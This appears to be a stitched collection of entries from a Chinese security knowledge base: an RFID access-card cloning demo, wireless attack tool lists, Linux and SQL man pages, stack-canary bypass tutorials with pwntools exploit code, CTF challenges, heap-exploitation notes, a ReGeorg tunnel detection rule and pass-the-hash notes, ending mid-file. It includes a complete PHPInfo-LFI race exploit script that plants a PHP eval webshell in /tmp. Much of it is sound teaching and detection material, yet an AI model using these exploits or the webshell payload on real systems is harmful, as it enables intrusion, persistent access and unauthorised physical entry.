# RFID复制卡 > 文章作者 [Sarah-Briggs](https://github.com/Sarah-Briggs) & [r0fus0d](https://github.com/No-Github) --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 复制卡 我们准备相应的阅读器读取原门禁卡的数据(如果该卡没有保护机制那么里面的数据可以轻松读取出来,如果该卡有保护,就要破解它的密码然后进行读取数据) 我们只要将扇区的数据复制到一张新的卡里,就算取得成功(这是针对防御性能很低的门禁卡而言,像复杂的带有防火墙的门禁识别,或者是滚动码,破解就没有这么简单)(扇区数据有兴趣可以自己研究,这里不做赘述!) 接下来我们将数据复制到一张新卡(要所有的扇区数据写入成功才行),这里我做了标记以示区别! --- ## 现场检验 首先原来的门禁卡可以开门是毋庸置疑的,我们接下来主要进行检验这张复制卡。 该电子门可以通过输入密码和刷卡两种方式进入,现在是紧闭状态无法开门。 现在掏出我们准备的这个复制卡,进行刷卡操作。 由于无法上传视频,实际的情况是,卡刷上以后,密码机会“嘀”的响一声,然后门就可以打开了。图见如下:
sec-knowleage
## 无线攻击工具 | Wireless Attacks | | | | | | | :-----------------------------------------------: | :---------: | :------: | :------: | :-----------------------------: | :---------------: | | Aircrack-ng | Asleap | Bluelog | BlueMaho | Bluepot | BlueRanger | | Bluesnarfer | Bully | coWPAtty | crackle | eapmd5pass | Fern Wifi Cracker | | [Ghost Phisher](Ghost-Pisher.md) | GISKismet | Gqrx | gr-scan | hostapd-wpe | kalibrate-rtl | | KillerBee | Kismet | mdk3 | mfcuk | [mfoc](mfoc.md) | mfterm | | Multimon-NG | PixieWPS | Reaver | redfang | RTLSDR Scanner | Spooftooph | | Wifi Honey | wifiphisher | Wifitap | Wifite | | |
sec-knowleage
.\" -*-Nroff-*- .\" .TH UPTIME 1 "1993年1月26日" "Cohesive Systems" "Linux User's Manual" .SH NAME(名称) uptime \- 告知系统运行了多久时间. .SH SYNOPSIS(总览) .B uptime .br .BR uptime " [" "\-V" ] .SH DESCRIPTION(描述) .B uptime 给出下列信息的一行显示. 当前时间, 系统运行了多久时间, 当前登陆的用户有多少, 以及前1,5和15分钟系统的平均负载. .sp 这与通过 .BR w (1) 显示的首行包括的信息相同. .SH FILES(相关文件) .IR /var/run/utmp " 关于当前谁在登录的信息" .br .IR /proc " 进程信息" .SH AUTHORS(作者) Larry Greenfield <greenfie@gauss.rutgers.edu>和 Michael K. Johnson <johnsonm@sunsite.unc.edu>. 请将bug的报告发到<procps-bugs@redhat.com> .SH "SEE ALSO"(另见) .BR ps (1), .BR top (1), .BR utmp (5), .BR w (1) .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .BR 2001/08/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
### Canary介绍 Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。 我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法(栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。 由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。 Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。 Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。 ### 在 GCC 中使用 Canary 可以在 GCC 中使用以下参数设置 Canary: ``` -fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护 -fstack-protector-all 启用保护,为所有函数插入保护 -fstack-protector-strong -fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护 -fno-stack-protector 禁用保护 ``` ### Canary 实现原理 开启 Canary 保护的 stack 结构大概如下: ``` High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | local variables | Low | | Address ``` 当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下: ```asm mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax ``` 在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。 ```asm mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 <main+65> call 0x400460 <__stack_chk_fail@plt> ``` 如果 Canary 已经被非法修改,此时程序流程会走到 `__stack_chk_fail`。`__stack_chk_fail` 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。 ```C eglibc-2.19/debug/stack_chk_fail.c void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); } ``` 这意味可以通过劫持 `__stack_chk_fail` 的 got 值劫持流程或者利用 `__stack_chk_fail` 泄漏内容(参见 stack smash)。 进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack\_guard。 ```C typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ... } tcbhead_t; ``` 如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。 事实上,TLS 中的值由函数 security\_init 进行初始化。 ```C static void security_init (void) { // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); // 设置Canary的值到TLS中 THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL; } //THREAD_SET_STACK_GUARD宏用于设置TLS #define THREAD_SET_STACK_GUARD(value) \ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value) ``` ### Canary 绕过技术概述 Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用,在这里给出了常见的存在 Canary 的栈溢出利用思路,请注意每种方法都有特定的环境要求。 ### 泄露栈中的 Canary Canary 设计为以字节 `\x00` 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。 #### 利用示例 存在漏洞的示例源代码如下: ```C // ex2.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell(void) { system("/bin/sh"); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); } } int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0; } ``` 编译为 32bit 程序并关闭 PIE 保护 (默认开启 NX,ASLR,Canary 保护) ```bash $ gcc -m32 -no-pie ex2.c -o ex2 ``` 首先通过覆盖 Canary 最后一个 `\x00` 字节来打印出 4 位的 Canary 之后,计算好偏移,将 Canary 填入到相应的溢出位置,实现 Ret 到 getshell 函数中 ```python #!/usr/bin/env python from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') get_shell = ELF("./ex2").sym["getshell"] io.recvuntil("Hello Hacker!\n") # leak Canary payload = "A"*100 io.sendline(payload) io.recvuntil("A"*100) Canary = u32(io.recv(4))-0xa log.info("Canary:"+hex(Canary)) # Bypass Canary payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell) io.send(payload) io.recv() io.interactive() ``` ### one-by-one 爆破 Canary 对于 Canary,虽然每次进程重启后的 Canary 不同(相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码: ```python print "[+] Brute forcing stack canary " start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print "\t[+] Byte found 0x%02x" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print " [+] SSP value is 0x%s" % canary ``` ### 劫持__stack_chk_fail函数 已知 Canary 失败的处理逻辑会进入到 `__stack_chk_fail`ed 函数,`__stack_chk_fail`ed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。 参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 `__stack_chk_fail` 的 GOT 表,再进行 ROP 利用 ### 覆盖 TLS 中储存的 Canary 值 已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。 参见 StarCTF2018 babystack
sec-knowleage
nologin === 拒绝用户登录系统 ## 补充说明 **nologin命令** 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。 ### 语法 ```shell nologin ``` ### 实例 Linux禁止用户登录: 禁止用户登录后,用户不能登录系统,但可以登录ftp、SAMBA等。我们在Linux下做系统维护的时候,希望个别用户或者所有用户不能登录系统,保证系统在维护期间正常运行。这个时候我们就要禁止用户登录。   1、禁止个别用户登录,比如禁止lynn用户登录。 ```shell passwd -l lynn ``` 这就话的意思是锁定lynn用户,这样该用户就不能登录了。   ```shell passwd -u lynn ``` 上面是对锁定的用户lynn进行解锁,用户可登录了。     2、我们通过修改`/etc/passwd`文件中用户登录的shell ```shell vi /etc/passwd ``` 更改为: ```shell lynn:x:500:500::/home/lynn:/sbin/nologin ``` 该用户就无法登录了。   3、禁止所有用户登录。 ```shell touch /etc/nologin ``` 除root以外的用户不能登录了。
sec-knowleage
#!/usr/bin/env python3 import os, binascii, struct from Crypto.Cipher import AES pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16)) def haggis(m): crypt0r = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10)) return crypt0r.encrypt(len(m).to_bytes(0x10, 'big') + pad(m))[-0x10:] target = os.urandom(0x10) print(binascii.hexlify(target).decode()) msg = binascii.unhexlify(input()) if msg.startswith(b'I solemnly swear that I am up to no good.\0') \ and haggis(msg) == target: print(open('flag.txt', 'r').read().strip())
sec-knowleage
# 情报研判 情报研判属于公安或者网安专门用于经济犯罪的情报侦缉手段。 ## 情报研判详解 [TODO] <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200213103415.png" style="zoom:50%;" /> 情报带来更多的是**攻防思路的变化**。 ## 情报收集平台 举例,不同的情报收集平台。 ### RedQueen - [链接](https://redqueen.tj-un.com/IntelHome.html;JSESSIONID=6d3fdffb-b493-4b3a-a993-3f48e8e30ce7) - 安全情报,并不及时 ### 永安在线 - 原威胁猎人。提供黑产对抗与反欺诈服务。[链接](https://www.yazx.com/)。 - 产品本身不免费,但提供了一个开源的风控系统[“星云”](https://github.com/threathunterX/nebula) ### TreatBook - 微步在线[情报社区](https://m.threatbook.cn/) - 提供一个域名监控功能,当一个域名发生变化的时候,平台会把监控信息发送到指定邮箱。在企业中,可以监控自身的域名资产,排查异样的情况。 - 可视化 功能,可以看到相关域名等信息。 ### 如何收集? - 拿到数据后,从一个常见的指标进行分析: - 网络。IP,URL - 主机。文件哈希,动态链接库,注册表 - 邮件 - 使用开源的威胁情报平台 [TODO] - 自己搭建蜜罐、蜜网,收集攻击数据(IP,Hash,URL等) - 对自己的已有资产进行分析建模
sec-knowleage
#!/usr/bin/python import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] =&gt; ") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] =&gt; ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
sec-knowleage
### large bin attack概述 这种攻击方式主要利用的是 chunk 进入 bin 中的操作,在 malloc 的时候,遍历 unsorted bin 时,对每一个 chunk,若无法 exact-fit 分配或不满足切割分配的条件,就会将该 chunk 置入相应的 bin 中,而此过程中缺乏对 largebin 的跳表指针的检测。 以 2.33 版本的 libc 为例,从 4052 行开始就是对 largebin chunk 的入 bin 操作 ```cpp else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); } } ``` 在 2.29 及以下的版本中,根据 unsorted chunk 的大小不同 ```cpp fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; ``` 在 unsorted chunk 小于链表中最小的 chunk 的时候会执行前一句,反之执行后一句。 由于两者大小相同的时候只会使用如下的方法插入,所以此时无法利用。 ```cpp if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; ``` 所以有两种利用方法。 在 2.30 版本新加入了对 largebin 跳表的完整性检查,使 unsorted chunk 大于链表中最小的 chunk 时的利用失效,必须使 unsorted chunk 小于链表中最小的 chunk,通过 ```cpp victim->bk_nextsize->fd_nextsize = victim; ``` 实现利用,也就是将本 chunk 的地址写到 `bk_nextsize + 0x20` 处。 ### large bin attack 的利用方法 how2heap 中也说了,large bin attack 是未来更深入的利用。现在我们来总结一下利用的条件: + 可以修改一个 large bin chunk 的 data + 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面 + 通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击 + 可以修改 _IO_list_all 便于伪造 _IO_FILE 结构体进行 FSOP。
sec-knowleage
unexpand === 将文件的空白字符转换为制表符 ## 补充说明 **unexpand命令** 用于将给定文件中的空白字符(space)转换为制表符(TAB),并把转换结果显示在标准输出设备(显示终端)。 ### 语法 ```shell unexpand(选项)(参数) ``` ### 选项 ```shell -a或--all:转换文件中所有的空白字符; --first-only:仅转换开头的空白字符; -t<N>:指定TAB所代表的N个(N为整数)字符数,默认N值是8。 ``` ### 参数 文件:指定要转换空白为TAB的文件列表。
sec-knowleage
# T1505-003-Regeorg-HTTP隧道检测 ## 来自ATT&CK的描述 攻击者可能会通过Web Shell为web服务器创建后门,以便实现对系统的持久访问。Web Shell是攻击者放置在可公开访问的web服务器上的web脚本,以便通过web服务器进入网络。Web Shell可以提供一套待执行的函数,或是为web服务器所在系统提供命令行界面。 除服务器端脚本之外,Web Shell可能还有客户端接口程序,用于与web服务器通信,例如:[China Chopper](https://attack.mitre.org/software/S0020)(引自:Lee 2013) ## ReGeorg简介 reGeorg是reDuh的继承者,利用了会话层的socks5协议,效率更高结合Proxifier使用;Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。 ## 测试案例 reGeorg搭建HTTP隧道和流量分析 <https://cloud.tencent.com/developer/article/1779195> ## 检测日志 HTTP_log ## 测试复现 参考测试案例文章链接 ## 测试留痕 kali 在kali上抓包,然后访问内网,tcpdump抓包,分析流量 tcpdump -ieth0 -wkali.pcap 然后打开wireshark追踪tcp流,看流量 ```yml ...............P.........PGET /login.php HTTP/1.1 Host: 172.17.0.2 User-Agent: curl/7.68.0 Accept: */* HTTP/1.1 200 OK Date: Thu, 17 Dec 2020 16:39:09 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.25 Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/ Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/; httponly Set-Cookie: security=impossible; httponly Vary: Accept-Encoding Content-Length: 1567 Content-Type: text/html;charset=utf-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> ``` serverA 在serverA上抓包第一个流可以看到服务器A作为跳板,表明服务器与哪台内网主机的哪个端口连接cmd=connecttarget=172.17.0.2 目标内网ipport=80 端口为80 ```yml POST http://182.x.x.x:8080/tunnel.jsp? cmd=connect&target=172.17.0.2&port=80 HTTP/1.1 Host: 182.x.x.x:8080 Accept-Encoding: identity Content-Length: 0 X-CMD: CONNECT X-PORT: 80 X-TARGET: 172.17.0.2 User-Agent: python-urllib3/1.26.2 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly X-STATUS: OK Content-Type: text/html Content-Length: 0 Date: Thu, 17 Dec 2020 16:44:45 GMT ``` 下一条流cmd=read,代表是去访问内网的内容 Accept-Encoding: identity请求的HTTP头通告其内容编码,只要没有被明确禁止 服务器就不能发回406 Not Acceptable错误 响应包头:Transfer-Encoding: chunked代表是分块传输 ```yml POST /tunnel.jsp?cmd=read HTTP/1.1 Host: 182.x.x.x:8080 Accept-Encoding: identity Content-Length: 0 X-CMD: READ Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly Connection: Keep-Alive User-Agent: python-urllib3/1.26.2 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-STATUS: OK Content-Type: text/html Transfer-Encoding: chunked Date: Thu, 17 Dec 2020 16:44:45 GMT ``` 接下来这条流就是cmd=forward,转发到内网 ```yml POST /tunnel.jsp?cmd=forward HTTP/1.1 Host: 182.92.73.106:8080 Accept-Encoding: identity Content-Length: 83 Content-Type: application/octet-stream X-CMD: FORWARD Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly Connection: Keep-Alive User-Agent: python-urllib3/1.26.2 GET /login.php HTTP/1.1 Host: 172.17.0.2 User-Agent: curl/7.68.0 Accept: */* HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-STATUS: OK Content-Type: text/html Content-Length: 0 Date: Thu, 17 Dec 2020 16:44:45 GMT ``` 最后就是cmd=disconnect关闭连接 ```yml POST /tunnel.jsp?cmd=disconnect HTTP/1.1 Host: 182.x.x.x:8080 Accept-Encoding: identity X-CMD: DISCONNECT Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly User-Agent: python-urllib3/1.26.2 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-STATUS: OK Content-Type: text/html Content-Length: 0 Date: Thu, 17 Dec 2020 16:44:45 GMT ``` 内网服务器 在内网服务器上抓包,看到服务器A向内网请求了login.php ```yml GET /login.php HTTP/1.1 Host: 172.17.0.2 User-Agent: curl/7.68.0 Accept: */* HTTP/1.1 200 OK Date: Thu, 17 Dec 2020 16:53:17 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.25 Set-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/ Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/; httponly Set-Cookie: security=impossible; httponly Vary: Accept-Encoding Content-Length: 1567 Content-Type: text/html;charset=utf-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> ``` 以上内容摘自<https://cloud.tencent.com/developer/article/1779195> ## 检测规则/思路 ### sigma规则 ```yml title: Webshell ReGeorg HTTP隧道检测 status: 测试状态 description: 通过请求路径内的内容进行检测,基于url参数检测 references: - https://cloud.tencent.com/developer/article/1779195 - https://github.com/sensepost/reGeorg logsource: category: webserver detection: selection: uri_query|contains: #url中包含此类特征 - '*cmd=read*' - '*connect&target*' - '*cmd=connect*' - '*cmd=disconnect*' - '*cmd=forward*' filter: referer: null useragent: null method: POST condition: selection and filter fields: - uri_query - referer - method - useragent falsepositives: - web applications that use the same URL parameters as ReGeorg level: high tags: - attack.persistence - attack.t1100 - attack.t1505.003 ``` ## 建议 多数安全设备已支持检测此类隧道行为。 ## 相关TIP [[T1505-003-web服务产生的可疑进程]] [[T1505-003-windows下webshell检测]] [[T1566-001-win-可疑的MS Office子进程]] ## 参考推荐 MITRE-ATT&CK-T1505-003 <https://attack.mitre.org/techniques/T1505/003/> reGeorg搭建HTTP隧道和流量分析 <https://cloud.tencent.com/developer/article/1779195>
sec-knowleage
## Pass the hash Windows域渗透的首要目标是获取一个用户权限或一个shell会话。 NTLM hashes**可以**用来进行Pass-The-Hash攻击。 Net-NTLM hashes**不可以**用来进行Pass-The-Hash攻击。 可以使用metasploit的PSExec的模块来获取哈希值。 若果你想批量获取多台设备的哈希,那Metasploit的么smb_login模块就适合你。但是如果使用域控进行尝试,假设它们有一个锁定策略,就有可能导致帐户被锁定在域之外。 Empire还在`credentials/mimikatz/pth`模块中执行pass-the-hash的提供了相关可选项。https://www.powershellempire.com/?page_id=270 ###Ranger Ranger是一个很奈斯的工具,它可以以多种方式与Windows系统交互。 https://github.com/funkandwagnalls/ranger Rangers这个工具使用命令行进行操作,它能够使用实例化的catapult服务器提供针对Windows系统的功能。只要用户具有一组凭证或哈希散列集(NTLM, LM, LM:NTLM),他或她就可以访问信任之外的系统。
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DROP OPERATOR CLASS" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DROP OPERATOR CLASS \- 删除一个操作符类 .SH SYNOPSIS .sp .nf DROP OPERATOR CLASS \fIname\fR USING \fIindex_method\fR [ CASCADE | RESTRICT ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBDROP OPERATOR CLASS\fR 从数据库中删除一个现有操作符表。要执行这条命令,你必须是此操作符表的所有者。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 一个现存操作符表的名字(可以用模式修饰)。 .TP \fB\fIindex_method\fB\fR 操作符表所对付的索引访问方法的名字。 .TP \fBCASCADE\fR 自动删除依赖于该操作符表的对象。 .TP \fBRESTRICT\fR 如果有任何依赖对象存在,则拒绝删除此操作符表。这个行为是缺省。 .SH "EXAMPLES 例子" .PP 删除 B-tree 操作符表 widget_ops: .sp .nf DROP OPERATOR CLASS widget_ops USING btree; .sp .fi 如果有任何现存的索引使用这个操作符表,那么这条命令将不能 执行。增加一个 CASCADE 删除这样的索引以及这个 操作符表。 .SH "COMPATIBILITY 兼容性" .PP 在 SQL 标准里没有 DROP OPERATOR CLASS。 .SH "SEE ALSO 参见" ALTER OPERATOR CLASS [\fBalter_operator_class\fR(7)], CREATE OPERATOR CLASS [\fBcreate_operator_class\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# Contacts Binary Exploitation, 850 points ## Description: > This program for storing your contacts is currently in beta. Can you hijack control and get a shell? ```c #include <stdio.h> #include <string.h> #include <stdlib.h> #define MAX_CONTACTS 16 struct contact { char *name; char *bio; }; struct contact *contacts[MAX_CONTACTS]; unsigned int num_contacts = 0; void print_contacts(){ for (int i = 0; i < num_contacts; i++){ if (contacts[i]->bio != NULL){ printf("%s - %s\n", contacts[i]->name, contacts[i]->bio); }else{ printf("%s - (No bio)\n", contacts[i]->name); } } } struct contact *find_contact(char *name){ for (int i = 0; i < num_contacts; i++){ if (!strcmp(name, contacts[i]->name)){ return contacts[i]; } } return NULL; } void create_contact(char *name){ if (num_contacts == MAX_CONTACTS){ puts("Too many contacts! Delete one first!"); return; } struct contact *contact = (struct contact *)malloc(sizeof(struct contact)); if (contact == 